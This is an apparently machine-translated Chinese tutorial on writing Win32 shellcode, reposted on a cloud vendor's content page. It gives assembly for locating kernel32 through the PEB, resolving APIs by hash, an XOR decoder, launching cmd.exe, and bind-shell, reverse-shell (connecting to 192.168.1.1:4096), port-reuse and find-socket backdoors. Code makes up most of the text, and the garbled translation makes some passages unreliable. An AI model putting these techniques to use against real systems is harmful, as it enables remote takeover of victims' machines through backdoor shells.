Win32 shellcode Programming Technology

Source: Internet
Author: User
Tags set socket

 

1. Change the program execution path to obtain the EIP;

 

Obtain an EIP
Why EIP? The answer is simple, because the execution program needs to locate it for itself. If you have an understanding of the virus writing technology, do you know how the virus program locates? It is implemented using call/pop. Readers familiar with Assembly know that the call XXX command is equivalent to push EIP, jmp xxx, that is, the call command First pushes the next command address to be executed into the stack, and then jumps to the xxx address. The code snippet is as follows:
450000: label1: Pop eax
450005 :... Eax= 451005

451000: Call label1 push 451005
451005: JMP label1
You can also perform multiple jumps as follows:
450000: JMP label1
450002:
Label2: JMP cont
450004:
Label1: Call label2 push 450009
450009: JMP label2
Cont: Pop eax
... Eax= 450009

Ii. shellcode encoding and decoding;

Vulnerability service programs often have special character requirements for customer input requests. For example, the shellcode for compiling Foxmail and RPC limits the reference of the "/" character. In general, almost all shellcodes avoid "/x00", because it may truncate our shellcode. In this case, we need to encode shellcode and decode it during execution to avoid the special restrictions required by these service programs. Here we will introduce a simple encoding method: XOR (exclusive or. As we all know, XOR has this feature, that is, a single number is two times, and the value of XOR is the same, for example,
Xor B = A, which is also the original method for encryption and decryption by many programs. The specific codec can be implemented through the following code snippet:
XOR ECx, ECx // Reset
MoV Cl, 0c6h // The number of characters that require different or
Loop1: // start Loop
INC eax //
XOR byte PTR [eax], 96 h // 96h is optional, as long as it can avoid special characters through the difference or this value
Loop loop1
Based on the positioning method described above, we can arrange our decoding sequence as follows:
JMP decode_end // to obtain the encoded shellcode address
Decode_start:
Pop EBX // get the location of the encoded shellcode
XOR ECx, ECx
MoV Cl, 0c6h // The length to be decoded
Loop_decode: // loop Decoding
XOR byte PTR [EBX + ECx], 96 h
Loop loop_decode
JMP decode_done // After decoding is completed, jump to the encoded shellcode for execution
Decode_end:
Call decode_start
Decode_done:
... // Encoded shellcode
Encoding and decoding is particularly important in shellcode writing, and is directly related to whether shellcode can be successfully executed. It should be noted that the XOR method cannot be used, because when many characters are restricted, appropriate values can be found for XOR, it may have the opposite effect. In this case, other skills may be used.

3. Obtain the function address required to execute malicious code and open shell;

This part involves a lot of content. Everyone must be patient, because these are the key to writing shellcode. For the convenience of discussion, we will divide it into several points and break through them one by one:
1. Use the peb method to find the kernel32.dll base address;
2. Find the address of the getprocaddress () function using the PE file format;
3. Use the hash method to find the addresses of other API functions;
4. Open cmd shell through CreateProcess;

1. Use the peb method to find the kernel32.dll base address
First, we need to locate the address of kernel32.dll. Currently, there are three common search methods: peb, she, and topstack. Among them, peb should be the most effective and common, so let's use it. The following flowchart shows how to search for the address of kernel32.dll through peb.
The process is clear,
(1) FS register Teb structure;
(2) Teb + 0x30peb structure;
(3) peb + 0x0cpeb_ldr_data;
(4) peb_ldr_data + 0x1cntdll. dll;
(5) NTDLL. dll + 0x08kernel32. dll.
In this way, the implementation code is very easy, as shown below:
MoV eax, FS: [30 h]
MoV eax, [eax + 0ch]
MoV ESI, [eax + 1ch]
Lodsd
MoV EBX, [eax + 08 h]
In addition, seh and topstack are also very useful. Due to the limited space, you can find some materials or refer to previous anti-DDoS articles.

2. Use the PE file format to find the address of the getprocaddress () function
If the problem of locating the kernel32.dll address is solved, you need to find the address of the function getprocaddress () through this address, because this function is the starting point for finding other functions required to implement the shellcode function. The following flowchart shows the entire search process.
The process is also very clear. Let's analyze it step by step:
(1) kernel32.dll + 0x3c PE Header;
(2) kernel32.dll + 0x3c + 0x78 data directory table (datadirectory) structure, and its first member is the export table );
(3) Export + 0x1c function address array addressfunctions;
Export + 0x20 function name array addressnames;
Export + 0x24 function name serial number array addressofnameordinals;
(4) addressnames determines the index of getprocaddress;
(5) By addressofnameordinals [Index] addressoffunctions [Index];
(6) By addressoffunctions [Index] getprocaddress address.

The above process uses the relative offset address. When calculating the function address, we need to add the base address of kernel32.dll to get our absolute address. The implementation code snippet is as follows (EBX is the base address of kernel32.dll ):
MoV ESI, dword ptr [EBX + 3ch] // PE Header offset
Add ESI, EBX // Replace the base address of Kernel32 with an absolute address.
MoV ESI, dword ptr [ESI + 78 H] // data directory Table offset
Add ESI, EBX
MoV EDI, dword ptr [ESI + 20 h] // function name array offset
Add EDI, EBX
MoV ECx, dword ptr [ESI + 14 h] // number of elements in the function address Array
Push ESI
XOR eax, eax
MoV edX, dword ptr [ESI + 24 h] // function name sequence number table array offset
Add edX, EBX
SHL eax, 1 // count * 2
Add eax, EDX // count + function name sequence number Table offset
XOR ECx, ECx
MoV CX, word PTR [eax]
MoV eax, dword ptr [ESI + 1ch] // function address array offset
Add eax, EBX
SHL ECx, 2 // count * 4
Add eax, ECx // count + extracts the base address of the table
MoV edX, dword ptr [eax] // obtain the function address offset using the serial number value.
Add edX, EBX // getprocaddress () Address
To sum up, we can get the following formula:
Procaddr = (counter * 2) + ordinal) * 4) + addrtable + kernel32base

3. Use the hash method to find the addresses of other API functions
The getprocaddress () function address is found, and the address of other functions is found. Shellcode was initially developed by using a function name for one-by-one search. However, using an API function name to find function addresses requires a large amount of space to store ASCII strings. This is extremely inappropriate for situations where the shellcode size is strictly required. Therefore, we adopt a hash method proposed by the last stage of delerium to obtain the hash value through some conversion. In this way, each function name can be optimized to a 32-bit hash value, greatly reducing the shellcode length. The hash method used by the last stage of delerium is to shift each character cycle of the function name to 5 places (or 27 places) to the left and get the hash value, we can write a function to obtain the hash value of the DNS Function Name:
DWORD gethash (unsigned char * C)
{
DWORD h = 0;
While (* C)
{
H = (h <5) | (h> 27) + * C ++;
}
Return (h );
}
The calculated loadlibrarya () hash value is 331 adddc, And the createprocessa () hash value is b87742cb. In practical applications, the hash value obtained by this hash method is very reliable, that is, there is basically no situation where two different functions get the same hash value. In the http://www.metasploit.com, the use of the loop right shift 13 BITs (or left shift 19 BITs), this is currently more commonly used Hash method, the following is the implementation code based on the metasploit hash algorithm:
Compute_hash:
XOR eax, eax // eax clear
CDQ // edX resetting
CLD // clear the Direction Flag
Compute_hash_again:
Lodsb // load the next byte from ESI to Al
Test Al, Al // Al is zero?
JZ compute_hash_finished // The value of Al is zero, indicating that '/0' is encountered'
Ror edX, 0xd // shifts 13 places to the right of the loop
Add edX, eax // calculate the next new byte
JMP compute_hash_again // continue hash
Compute_hash_finished:
In this way, we can get the addresses of all shellcode functions.

4. Open cmd shell through CreateProcess ()
In general, the shellcode function is to open a shell (the name of shellcode evolved in this way), and then through this shell, the attacked host and the attacked host can communicate with each other. In fact, the job here is equivalent to writing a simple backdoor program. The difference is that we use shellcode to implement it. The communication part is left behind. Let's start a shell first.
If you have written a backdoor program, it should be clear that the CreateProcess () API function is used to open the shell on the attacked host. Its prototype is as follows:
Bool CreateProcess (
Lpcwstr pszimagename,
Lpcwstr pszcmdline, // Command Line Parameter
Lpsecurity_attributes psaprocess,
Lpsecurity_attributes psathread,
Bool finherithandles, // whether to inherit the handle
DWORD fdwcreate,
Lpvoid pvenvironment,
Lpwstr pszcurdir,
Lpstartupinfow psistartinfo, // start information
Lpprocess_information pprocinfo // Process Information
);
Although there are many parameters, we only need to pay attention to the ones with comments. All others can be filled with null or 0. I won't say much about the preparation of the backdoor program as black defense is required in almost every phase, just to list the key points:
(1) set the startupinfo structure;
(2) redirection standard stdinput, stdoutput, stderror;
(3) Call createprocess(restart to start cmd.exe.
The code snippet for implementing the function is as follows:
MoV byte PTR [EBP], 44 h // startupinfo size
MoV dword ptr [EBP + 3ch], EBX // stdoutput handle
MoV dword ptr [EBP + 38 H], EBX // stdinput handle
MoV dword ptr [EBP + 40 h], EBX // stderror handle
MoV word PTR [EBP + 2ch], 0101 H // startf_usestdhandles | startf_useshowwindows
Lea eax, [EBP + 44 h]
Push eax // & processinfo
Push EBP // & startupinfo
Push ECx // 0
Push ECx // 0
Push ECx // 0
INC ECx // ECx = 1
Push ECx // 1
Dec ECx // ECx = 0
Push ECx // 0
Push ECx // 0
Push ESI // cmd.exe"
Push ECx // 0
Call dword ptr [edi-28] // CreateProcess (null, cmd.exe ", null, null, true, 0, null, & startupinfo, & processinfo)

TIPS: Pay attention to the above function pressure stack order and follow the C-style function call, that is, the parameters are pressed from right to left.

Now we are relieved. At least with the above knowledge, we can write shellcode on the local machine to open a cmd window. If you are using VC, you will be pleasantly surprised to find that you do not need the # include <windows. h> statement to include the header file. However, the battle is just getting started. because we want the remote host shell, we need to solve the communication problem between the attacker and the attacked host,
4. Establish a Communication Connection

The following four shellcode technologies allow us to communicate with the attacked Host:
-Port binding
-Reverse connection
-Static port multiplexing
-Find the socket
Are you ready? Let's get started!
Port binding
If the reader has compiled the most basic backdoor program, it is easy to understand, because port binding means that the attacker creates a socket and binds the host to the specified port as a server, then listen. If there is a connection request, open a shell. For example, if you select between drawing a graph and writing 100 exp, I would rather select the latter ~ Khan... It is worth noting that we strongly recommend that you use MS Visio as a powerful tool to draw simulation diagrams in the future. It is easy to use and easy to use... Hoho)
.
The process is as follows:
Wsastartup () bind () Listen () accept () Shell ()
Createprocess(cmdcmd.exe ") as we mentioned in the previous article, we will not repeat it here. Wsastartup (), BIND (), listen (), and accepte () are all Winsock API functions, which are different from loadlibrarya () and getprocaddress () contained in kernel32.dll, they are all included in ws2_32.dll. in the previous article, we can find the address of any function in kernel32.dll, which means we can get the address of loadlibrary (). That is to say, through loadlibrary ("ws2_32.dll"), we can also get the base address of ws2_32.dll. Then we can get winscok such as wsastartup () and bind () from getprocaddress ().
API address. (Khan ~~... So... ). If you are not familiar with the Winsock API, you need to check the msdn. Here we only talk about the framework and principles. You have to do the details yourself. The following shows the key code snippet:
MoV EBX, eax // eax is the socket descriptor returned by socket ()
MoV word PTR [EBP], 2 // type: af_inet = 2
MoV word PTR [EBP + 2], 1000 h // Port = 4096
MoV dword ptr [EBP + 4], 0 // inaddr_any = 0, any IP address of the host
Push 10 h // length = sizeof (sockaddr) = 16
Push EBP // struct sockaddr *: & Server
Push EBX // S: sock
Call dwordptr [edi-12] // BIND (sock, (struct sockaddr *) & server, sizeof (server ))
INC eax // eax = 1
Push eax // backlog = 1
Push EBX // S: sock
Call dword ptr [edi-8] // listen (sock, backlog), eax = 0 is returned successfully
Push eax // 0 accept all connections
Push eax // 0 accept all connections
Push EBX // S: scok
Call dword ptr [edi-4] // accept (sock, 0, 0)
(Note: Pay attention to the above function pressure stack order and follow the C-style function call, that is, the parameters are pressed from right to left)
I have explained the annotations on the right according to the msdn parameters one by one. It should be very clear that, as long as there is some network programming, combined with the compilation on the left, is it very easy to write the shellcode bound to the port.

Reverse connection
Nowadays, people's awareness of network security is gradually increasing. no matter whether they are engaged in network security or mm who just learned to use QQ chat, I believe that the first thing after installing the operating system is to install the software firewall. So for the shellcode bound to the above port, even if we opened a shell listener on the attacked host, we could not connect to it. Because almost all firewalls filter inbound illegal port connections. At this time, we can try to use the reverse (reverse) connection method, that is, the anti-connection backdoor we often call. Of course, the premise of this method is that the firewall of the attacked host does not filter the outbound data of common programs.

The process is simpler than port binding:
Wsastartup () wsasocket () connect () Shell ()
In addition to using connect (), other implementations of port binding are basically the same. The key code segment is also given below:
Push eax // dwflag = 0
Push eax // G = 0
Push eax // lpprotocolinfo = NULL
Push eax // protocol = 0
INC eax // eax = 1
Push eax // type: sock_stream = 1
INC eax // eax = 2
Push eax/AF: af_inet = 2
Call dword ptr [edi-8] // sock = wsasocket (af_inet, sock_stream, 0, null, 0, 0 );
MoV EBX, eax // EBX = sock
MoV word PTR [EBP], 2
MoV word PTR [EBP + 2], 1000 h // Port = 4096
MoV dword ptr [EBP + 4], 0101a8c0h // ip: 192.168.1.1
Push 10 h // length = sizeof (sockaddr) = 16
Push EBP // struct sockaddr *
Push EBX // sock
Call dword ptr [edi-4]; Connect
Similarly, the comment is clear at a glance. Is it similar to port binding.

Static port multiplexing
The reverse connection looks very good, but, you know, we assume that the firewall of the attacked host does not have customized data sending rules. The current firewall is super BT, A warning window is displayed to prevent outgoing connections as long as the application of the system service does not access the internet. In addition, there is another problem. If the attacker's Host IP address is a private IP address in the Intranet, how can the attacker find your IP address and establish a communication connection with you.
This introduces the port multiplexing technology. What is port multiplexing? It is through some ports already in use to bind our shell. For example, the FTP server usually opens the default port 21, and the HTTP Server opens the default port 80, all ports are permitted by the firewall and will not be scanned and killed. static multiplexing port means that we know in advance what port has been opened by the attacked host, and this port can be reused, so we can use shellcode to reuse this port to open shell. :
This process is similar to port binding, but an additional step is added in the middle, as shown below:
Wsastartup () setsockopt () bind () Listen () accept () Shell ()
Have you seen it? Setsockopt () is added. As the name suggests, set socket option is the meaning of setting SOCKET options. Let's take a look at the description on msdn:
Int setsockopt (
Socket S, // socket
Int level, // option level. Here we use sol_socket
Int optname, // socket option. Here we use so_reuseaddr, which is the key.
Const char far * optval, // pointer to the value of the socket option
Int optlen // optval size
);

OK. After understanding the meaning, you can refer to the key code segment below to understand it.
MoV word PTR [EBP], 2
Push 4 // sizeof (optval) = sizeof (INT) = 4
Push EBP // EBP pointer to socket option so_reuseaddr Value
Push 4 // so_reuseaddr = 4
Push 0 ffffh // sol_socket = 0 xFFFF
Push EBX // EBX: sock
Call dword ptr [edi-20] // setsockopt (sock, sol_socket, so_reuseaddr, (char *) & optval, sizeof (optval ))
MoV word PTR [EBP + 2], 1000 h // Port = 4096, assuming port 4096 is open
MoV dword ptr [EBP + 4], 0 h // ip = inaddr_any
Push 10 h // sizeof (ADDR) = 16
Push EBP // & ADDR
Push EBX // sock
Call dword ptr [edi-12] // BIND (sock, (struct sockaddr *) & ADDR, sizeof (ADDR ))
Note that if the vulnerability application of the server has already specified the socket as so_exclusiveaddr option, the binding will fail.

Find socket
Finding a socket is to search for and use an existing connection. It uses a loop to find the socket descriptor with the current connection and compares the remote host information to identify the current connection, if a match is found, it is bound to shell.
The principle of this method is as follows:
(1) Before sending an Attack String, we use the getsockname function to obtain the local information of the socket and write the corresponding information into shellcode. Here we write our own port number, in the following code, it is 0x1234.
(2) The server (attacked host) shellcode starts from 1 to find the socket progressively and uses the getpeername function to obtain the attacker's socket information. Here we use the port number.
(3) If the two port numbers are compared, find the socket, jump out of the incremental loop, and bind the shell to the socket.
OK. The key code segment is provided after the principle is completed:
Xor ebx, EBX // EBX = 0
Find:
Inc ebx // search from socket = 1 until it is found
MoV dword ptr [EBP], 10 h // [EBP] = sizeof (sockaddr) = 16
Lea eax, [EBP]
Push eax // & namelen
Lea eax, [EBP + 4]
Push eax // & name
Push EBX // sock
Call dword ptr [edi-4] // getpeername (sock,
(Struct sockaddr *) & name, & namelen)
CMP word PTR [EBP + 6], 1234 H // port comparison, 1234 is our (attacker) Port
JNE find // does not match. Continue searching
Found:
Push EBX // find the socket and save
This dynamic socket search method also has its limitations. If the attacked host is in the NAT network environment, the socket information obtained by the attacker getsockname is not necessarily consistent with the socket information obtained by the attacked host getpeername, leading to socket search failure.
In addition, in win32, the socket created by wsasocket(socket is a non-overlapping character, and the stdin, stdout, and stderr of cmd.exe can be directly switched to the socket. The socket () function implicitly specifies the overlap flag, and the socket it creates is the overlapped transfer process for data transmission. In addition, we recommend that you use overlapping Sockets for Winsock, so we should try to use pipelines as much as possible .,

The compilation technology of Win32 shellcode has come to an end. through (I) and the knowledge introduced in this article, we can basically compile a own shellcode backdoor. However, you must know that we only implement basic functions. If you want to write more advanced shellcode, such as the technology that implements HTTP file download and execution, such as breaking through the firewall technology, for example, to make your shellcode shorter and more generic,

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.